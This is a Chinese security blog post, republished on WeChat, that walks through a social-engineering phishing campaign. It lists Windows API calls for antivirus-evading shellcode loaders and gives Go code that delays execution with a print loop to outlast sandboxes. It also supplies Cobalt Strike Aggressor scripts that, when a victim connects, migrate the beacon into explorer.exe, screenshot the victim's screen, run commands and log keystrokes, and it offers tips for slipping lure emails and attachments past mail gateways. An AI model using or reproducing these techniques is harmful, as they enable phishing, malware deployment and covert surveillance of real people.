|
|
现在只对常读和星标的公众号才展示大图推送，建议大家把潇湘信安“设为星标”，否则可能看不到了！
前言
穷则社工钓鱼，达则0day炸场-微步在线，借用微步公众号的一句话，没有后端资源支持的情况下，社工钓鱼必学技能，毕竟正面打不动，代码审不动，0day又没有是日常，下文讲解自己对于社工钓鱼的思路。
社交账号
邮箱方面，一般常用QQ邮箱、163邮箱，这些目前还是有渠道可以购买的，没钱或者担心购买不可靠，跟身边亲朋好友借也行。
免杀马
免杀的马子是必备的，如果你是和我一样的免杀弟弟，我推荐先学习shellcode loader的一些编写思路
https://github.com/xf555er/ShellcodeLoader
申请内存：VirtualAlloc载入内存：memcpy执行内存：CreateThread WaitForSingleObject
针对这三个过程可以使用不同的函数来达到规避杀软的效果，例如申请内存还可以用GlobalAlloc、CoTaskMemAlloc函数，执行内存可以用回调函数EnumFontsW、EnumUILanguages、EnumFontFamiliesA。
https://github.com/S9MF/my_script_tools/blob/main/360QVM_bypass-public/README.md
bypass沙箱
使用sleep函数延迟执行容易被hook，修改为0，可以编写循环打印来延迟程序时间，来绕过沙箱检测，因为沙箱运行程序是有时间限制的。
//循环打印进行延时 运行1m2s后执行shellcode 沙箱分析时间没那么久 可以绕过沙箱检测funcadd(){start := time.Now()//获取当前时间//1000000 1m2.793228ssum, i :=0,1fori <1000000{fmt.Println(i)sum += ii++}elapsed := time.Since(start)fmt.Println("该函数执行完成耗时：", elapsed)}
将如上代码放在shellcode执行前就行。
信息收集
如下组合：
.com 招聘.com 校招.com 投标.com 联系方式
C2搭建准备
https://github.com/S9MF/my_script_tools/blob/main/CS%E6%8F%92%E4%BB%B6/README.md
#自动迁移进程subcallback{$regex ='(.*n)+explorer.exetd+t(d+)(.*n)+';# 要迁移的进程$listener ="ecloud";# 监听器名字，此处为ecloud，记得修改为自己的if($2 ismatch $regex){$pid = matched()[1];$inject_pid = $pid;if(-is64 $1){$arch ="x64";}else{$arch ="x86";}binject($1, $pid, $listener, $arch);}}if($inject_pid != beacon_info($1,"pid")){bps($1, &callback);}
还有上线自动截图功能，就算目标掉了起码还有张图证明上线过
#只截一张图#binput($1, "screenshot");#bscreenshot($1);#连续截图binput($1,"screenwatch");bscreenwatch($1);
其他的上线自动执行shell命令、键盘记录看自己需求吧
#执行自定义cmd命令bshell($1,"ipconfig /all");#键盘记录bkeylogger($1);
还有其他需求可以去翻翻文档Aggressor Script
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm如果你有好用稳定的权限提升维持工具、如Bypass UAC、以及计划任务、服务，可以考虑下写个cs脚本上线自动bypass uac，加权限维持。
邮件网关/沙箱
针对正文
-
不带知名公司名称如脉脉、BOSS直聘不然容易被当成广告邮件，不把附件解密密码放在正文，容易被沙箱识别密码分析附件。
针对附件
-
文件名加密，解压密码写在附件名上。
开钓
上线后的操作
参考L33h0m师傅的文章：分享我的CS钓鱼流程导图（权限维持+信息收集+后渗透阶段）
https://www.t00ls.com/articles-69037.html
总结
参考
https://github.com/Pizz33/360QVM_bypasshttps://github.com/xf555er/ShellcodeLoaderhttps://www.t00ls.com/articles-69037.html
文章来源：先知社区（抹布）原文地址：https://xz.aliyun.com/t/12879
原文始发于微信公众号（潇湘信安）：社工钓鱼基本流程+思维导图
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论